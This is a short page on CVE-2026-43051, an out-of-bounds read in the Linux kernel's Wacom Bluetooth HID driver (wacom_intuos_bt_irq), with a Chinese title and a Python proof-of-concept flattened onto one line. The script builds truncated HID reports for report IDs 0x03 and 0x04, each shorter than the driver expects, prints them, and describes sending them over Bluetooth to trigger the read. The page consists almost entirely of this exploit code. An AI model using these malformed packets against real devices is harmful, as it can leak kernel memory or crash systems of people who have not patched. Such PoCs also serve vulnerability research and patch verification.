CVE-2026-43051 Linux内核Wacom驱动越界读取漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-43051: Linux Kernel HID wacom OOB Read # This script demonstrates the concept of sending a malformed Bluetooth HID report. # Note: Actual exploitation requires a Bluetooth adapter and specific hardware targeting. import struct def generate_malicious_packet(report_id, required_len, actual_len): """ Generates a malicious HID report packet. report_id: The ID of the report (e.g., 0x03 or 0x04) required_len: The minimum safe length expected by the driver actual_len: The actual length of the payload to be sent (shorter than required) """ if actual_len < 1: actual_len = 1 # Construct payload: Report ID + Arbitrary Data (shorter than required) # Report ID 0x03 requires 22 bytes, we send significantly less. payload = bytes([report_id]) + b'\x00' * (actual_len - 1) return payload def main(): print("[*] CVE-2026-43051 PoC Generator") print("[*] Target: Linux Kernel wacom_intuos_bt_irq") # Scenario 1: Report ID 0x03, expects 22 bytes, send 10 bytes poc_packet = generate_malicious_packet(report_id=0x03, required_len=22, actual_len=10) print(f"[*] Generated Malformed Packet (Report 0x03): {poc_packet.hex()}") print(f"[*] Packet Length: {len(poc_packet)} bytes (Expected >= 22 bytes)") print("[*] Sending this packet via Bluetooth to a vulnerable target may trigger an OOB read.") # Scenario 2: Report ID 0x04, expects 32 bytes, send 10 bytes poc_packet_2 = generate_malicious_packet(report_id=0x04, required_len=32, actual_len=10) print(f"[*] Generated Malformed Packet (Report 0x04): {poc_packet_2.hex()}") if __name__ == "__main__": main()